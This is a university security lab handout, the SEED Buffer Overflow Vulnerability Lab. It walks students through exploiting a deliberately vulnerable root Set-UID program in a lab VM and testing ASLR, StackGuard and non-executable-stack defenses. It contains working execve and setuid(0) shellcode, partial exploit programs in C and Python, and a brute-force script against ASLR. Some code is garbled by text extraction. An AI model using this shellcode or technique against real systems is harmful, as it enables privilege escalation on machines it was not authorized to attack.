SEED Labs – Buffer Overflow Vulnerability Lab 1 Buffer Overflow Vulnerability Lab
Copyright © 2006 – 2016 Wenliang Du, Syracuse University.
The development of this document was partially funded by the National Science Foundation under Award No. 1303306 and 1318814. This work is licensed under a Creative Commons Attribution-NonCommercial- ShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes.
1 Lab Overview
The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulner- ability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be used by a malicious user to alter the flow control of the pro- gram, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.
In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:
• Buffer overflow vulnerability and attack • Stack layout in a function invocation
• Shellcode
• Address randomization
• Non-executable stack • StackGuard
Readings and related topics. Detailed coverage of the buffer-overflow attack can be found in Chapter 4 of the SEED book, Computer Security: A Hands-on Approach, by Wenliang Du. A topic related to this lab is the return-to-libc attack, which is a technique used to defeat one of the countermeasures against buffer- overflow attacks. We have designed a separate lab for this technique. Chapter 5 of the SEED book focuses on the return-to-libc attack.
Lab environment. This lab has been tested on our pre-built Ubuntu 12.04 VM and Ubuntu 16.04 VM, both of which can be downloaded from the SEED website.
2 Lab Tasks
2.1 Turning Off Countermeasures
You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult.
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To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see whether our attack can still be successful.
Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran- domization [2] to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command:
$ sudo sysctl -w kernel.randomize_va_space=0
The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called Stack- Guard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation using the -fno-stack-protector option. For example, to compile a program example.c with StackGuard disabled, we can do the following:
$ gcc -fno-stack-protector example.c
Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, stacks are set to be non-executable (further reading: [3]). To change that, use the following option when compiling programs:
Configuring /bin/sh (Ubuntu 16.04 VM only). In both Ubuntu 12.04 and Ubuntu 16.04 VMs, the /bin/sh symbolic link points to the /bin/dash shell. However, the dash program in these two VMs have an important difference. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself from being executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID process, it immediately changes the effective user ID to the process’s real user ID, essentially dropping the privilege. The dash program in Ubuntu 12.04 does not have this behavior.
Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program called zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh (there is no need to do these in Ubuntu 12.04):
For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
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2.2 Task 1: Running Shellcode
Before starting the attack, let us get familiar with the shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:
#include
int main() {
char *name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
The shellcode that we use is just the assembly version of the above program. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked. You can download the program from the website.
/* call_shellcode.c */
/* You can get this program from the lab’s website */
/* A program that launches a shell using shellcode */
#include
#include
#include
const char code[] =
“\x31\xc0”
“\x50”
“\x68″”//sh”
/* Line 1: xorl %eax,%eax */
/* Line 2: pushl %eax */
/* Line 3: pushl $0x68732f2f */
“\x68″”/bin” /* Line 4: pushl $0x6e69622f */
“\x89\xe3” /* Line 5: movl %esp,%ebx */
“\x50” /* Line 6: pushl %eax */
“\x53” /* Line 7: pushl %ebx */
“\x89\xe1” /* Line 8: movl %esp,%ecx */
“\x99” /* Line 9: cdq
*/
“\xb0\x0b” /* Line 10: movb $0x0b,%al */
“\xcd\x80” /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
Compile the code above using the following gcc command. Run the program and describe your ob- servations. Please do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail.
$ gcc -z execstack -o call_shellcode call_shellcode.c
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The shellcode above invokes the execve() system call to execute /bin/sh. A few places in this shellcode are worth mentioning. First, the third instruction pushes ”//sh”, rather than ”/sh” into the stack. This is because we need a 32-bit number here, and ”/sh” has only 24 bits. Fortunately, ”//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the systemcallexecve()iscalledwhenweset%alto11,andexecute“int $0x80”.
2.3 The Vulnerable Program
You will be provided with the following program, which has a buffer-overflow vulnerability in Line . Your job is to exploit this vulnerability and gain the root privilege.
/* Vunlerable program: stack.c */
/* You can get this program from the lab’s website */
#include
#include
#include
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */ strcpy(buffer, str);
return 1; }
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen(“badfile”, “r”);
fread(str, sizeof(char), 517, badfile);
bof(str);
printf(“Returned Properly\n”);
return 1;
}
Compile the above vulnerable program. Do not forget to include the -fno-stack-protector and “-z execstack”optionstoturnofftheStackGuardandthenon-executablestackprotections.Afterthe compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line ), and then change the permission to 4755 to enable the Set-UID bit (Line ). It should be noted that changing ownership must be done before turning on the
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Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.
The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only 24 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a Set-root-UID program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users’ control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.
For Instructor: To test whether students really know how to conduct the attack, during the demo time, ask students to change the buffer size from 24 to another number in the vulnerable program stack.c. If students really know the attack, they should be able to modify their attacking code and successfully launch the attack.
2.4 Task 2: Exploiting the Vulnerability
We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.
$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack $ sudo chmod 4755 stack
/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include
#include
#include
char shellcode[] =
“\x31\xc0” /* Line 1: xorl %eax,%eax */
“\x50” /* Line 2: pushl %eax */
“\x68″”//sh”
“\x68″”/bin”
“\x89\xe3”
“\x50”
“\x53”
“\x89\xe1”
/* Line 3: pushl $0x68732f2f */
/* Line 4: pushl $0x6e69622f */
/* Line 5: movl %esp,%ebx */
/* Line 6: pushl %eax */
/* Line 7: pushl %ebx */
/* Line 8: movl %esp,%ecx */
“\x99”
“\xb0\x0b”
“\xcd\x80”
/* Line 9: cdq
/* Line 10: movb
/* Line 11: int
*/
$0x0b,%al */
$0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
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memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* … Put your code here … */
/* Save the contents to the file “badfile” */
badfile = fopen(“./badfile”, “w”);
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:
Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the badfile, can be compiled with the default StackGuard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the StackGuard protection disabled.
It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:
Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.
Python Version. For students who are more familiar with Python than C, we have provided a Python version of the above C code. The program is called exploit.py, which can be downloaded from the lab’s website. Students need to replace some of the values in the code with the correct ones.
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!
# id
uid=(500) euid=0(root)
void main() {
setuid(0); system("/bin/sh");
}
#!/usr/bin/python3
import sys
shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
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"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl
"\x50" # pushl
"\x53" # pushl
"\x89\xe1" # movl
"\x99" # cdq
"\xb0\x0b" # movb
%esp,%ebx
%eax
%ebx
%esp,%ecx
$0x0b,%al
"\xcd\x80" # int $0x80
"\x00"
).encode(’latin-1’)
# Fill the content with NOP’s
content = bytearray(0x90 for i in range(517))
######################################################################### # Replace 0 with the correct offset value
D=0
# Fill the return address field with the address of the shellcode
# Replace 0xFF with the correct value
content[D+0] = 0xFF
content[D+1] = 0xFF
content[D+2] = 0xFF
content[D+3] = 0xFF
#########################################################################
# fill in the 1st byte (least significant byte)
# fill in the 2nd byte
# fill in the 3rd byte
# fill in the 4th byte (most significant byte)
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
2.5 Task 3: Defeating dash’s Countermeasure
As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from dash program’s changelog. We can see an additional check in Line , which compares real and effective user/group IDs.
// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
// main() function in main.c has following changes:
++ uid = getuid();
++ gid = getgid();
++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries,
++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) {
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++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }
The countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in our shellcode; instead, we can invoke another shell program. This approach requires another shell program, such as zsh to be present in the system. Another approach is to change the real user ID of the victim process to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing execve() in the shellcode. In this task, we will use this approach. We will first change the /bin/sh symbolic link, so it points back to /bin/dash:
To see how the countermeasure in dash works and how to defeat it using the system call setuid(0), we write the following C program. We first comment out Line and run the program as a Set-UID program (the owner should be root); please describe your observations. We then uncomment Line and run the program again; please describe your observations.
$ sudo rm /bin/sh
$ sudo ln -s /bin/dash /bin/sh
// dash_shell_test.c
#include
#include
#include
int main()
{
char *argv[2];
argv[0] = “/bin/sh”;
argv[1] = NULL;
// setuid(0); execve(“/bin/sh”, argv, NULL);
return 0;
}
The above program can be compiled and set up using the following commands (we need to make it root-owned Set-UID program):
From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve().
$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test
char shellcode[] =
“\x31\xc0”
“\x31\xdb”
“\xb0\xd5”
“\xcd\x80”
/* Line 1: xorl
/* Line 2: xorl
/* Line 3: movb
/* Line 4: int
%eax,%eax */
%ebx,%ebx */
$0xd5,%al */
$0x80 */
// —- The code below is the same as the one in Task 2 —
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“\x31\xc0”
“\x50”
“\x68″”//sh”
“\x68″”/bin”
“\x89\xe3”
“\x50”
“\x53”
“\x89\xe1”
“\x99”
“\xb0\x0b”
“\xcd\x80”
The updated shellcode adds 4 instructions: (1) set ebx to zero in Line 2, (2) set eax to 0xd5 via Line 1 and 3 (0xd5 is setuid()’s system call number), and (3) execute the system call in Line 4. Using this shellcode, we can attempt the attack on the vulnerable program when /bin/sh is linked to /bin/dash. Using the above shellcode in exploit.c, try the attack from Task 2 again and see if you can get a root shell. Please describe and explain your results.
2.6 Task 4: Defeating Address Randomization
On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 219 = 524, 288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu’s address randomization using the following command. We run the same attack developed in Task 2. Please describe and explain your observation.
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the ad- dress we put in the badfile can eventually be correct. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your observation.
#!/bin/bash
SECONDS=0
value=0
while [ 1 ] do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo “$min minutes and $sec seconds elapsed.”
echo “The program has been running $value times so far.”
./stack
done
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2.7 Task 5: Turn on the StackGuard Protection
Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.
In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of StackGuard. To do that, you should compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report your observations. You may report any error messages you observe.
In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable StackGuard.
2.8 Task 6: Turn on the Non-executable Stack Protection
Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.
In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the non- executable stack protection.
$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a separate lab for that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.
If you are using our Ubuntu 12.04/16.04 VM, whether the non-executable stack protection works or not depends on the CPU and the setting of your virtual machine, because this protection depends on the hardware feature that is provided by CPU. If you find that the non-executable stack protection does not work, check our document (“Notes on Non-Executable Stack”) that is linked to the lab’s web page, and see whether the instruction in the document can help solve your problem. If not, then you may need to figure out the problem yourself.
3 Guidelines
Chapter 4 of the SEED book titled Computer Security: A Hands-on Approach [1] provides detailed expla- nation on how buffer-overflow attacks work and how to launch such an attack. We briefly summarize some of the important guidelines in this section.
Stack Layout. We can load the shellcode into badfile, but it will not be executed because our instruc- tion pointer will not be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode is stored. To answer these questions, we need to understand the stack layout when the execution enters a function. Figure 3 gives an example of stack layout during a function invocation.
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str (a pointer to a string)
Return Address
Previous Frame Pointer (FP)
buffer[0] … buffer[11]
variable_a
void func (char *str) { char buffer[12];
int variable_a; strcpy (buffer, str);
}
Int main() {
char *str = “I am greater than 12 bytes”; func (str);
}
High Address
Current FP
Low Address
(a) A code example (b) Active Stack Frame in func()
Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of buffer[] array, we can calculate where the return address is stored. Since the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your own privilege; this way you can debug the program (note that you cannot debug a Set-UID program). In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the malicious code. You can even modify the copied program, and ask the program to directly print out the address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID copy, instead of your copy, but you should be quite close.
If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess. The following facts make guessing a quite feasible approach:
• Stack usually starts at the same address.
• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time.
• Therefore the range of addresses that we need to guess is actually quite small.
Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[], you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accu- rately calculate the address (for example, for remote programs), you can still guess. To improve the chance of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.
Storing a long integer in a buffer: In your exploit program, you might need to store an long integer (4 bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer, and then assign the integer. The following code shows how to assign an long integer to a buffer starting at buffer[i]:
char buffer[20];
long addr = 0xFFEEDD88;
Current Frame
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Malicious Code
str
Return Address
Previous FP
buffer [0] …… buffer [11]
Malicious Code
NOP
NOP
…… (many NOP’s)
NOP
str
Return Address
Previous FP
buffer [0] …… buffer [11]
(a) Jump to the malicious code (b) Improve the chance
long *ptr = (long *) (buffer + i);
*ptr = addr;
4 Submission
You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.
References
[1] Wenliang Du. Computer Security: A Hands-on Approach. CreateSpace Independent Publishing Plat- form, 2017. ISBN-10: 154836794X, ISBN-13: 978-1548367947.
[2] Wikipedia. Address space layout randomization — Wikipedia, the free encyclopedia. “https:// en.wikipedia.org/wiki/Address_space_layout_randomization”.
[3] Wikipedia. NX bit — Wikipedia, the free encyclopedia. “https://en.wikipedia.org/wiki/ NX_bit”.
Stack’s growing direction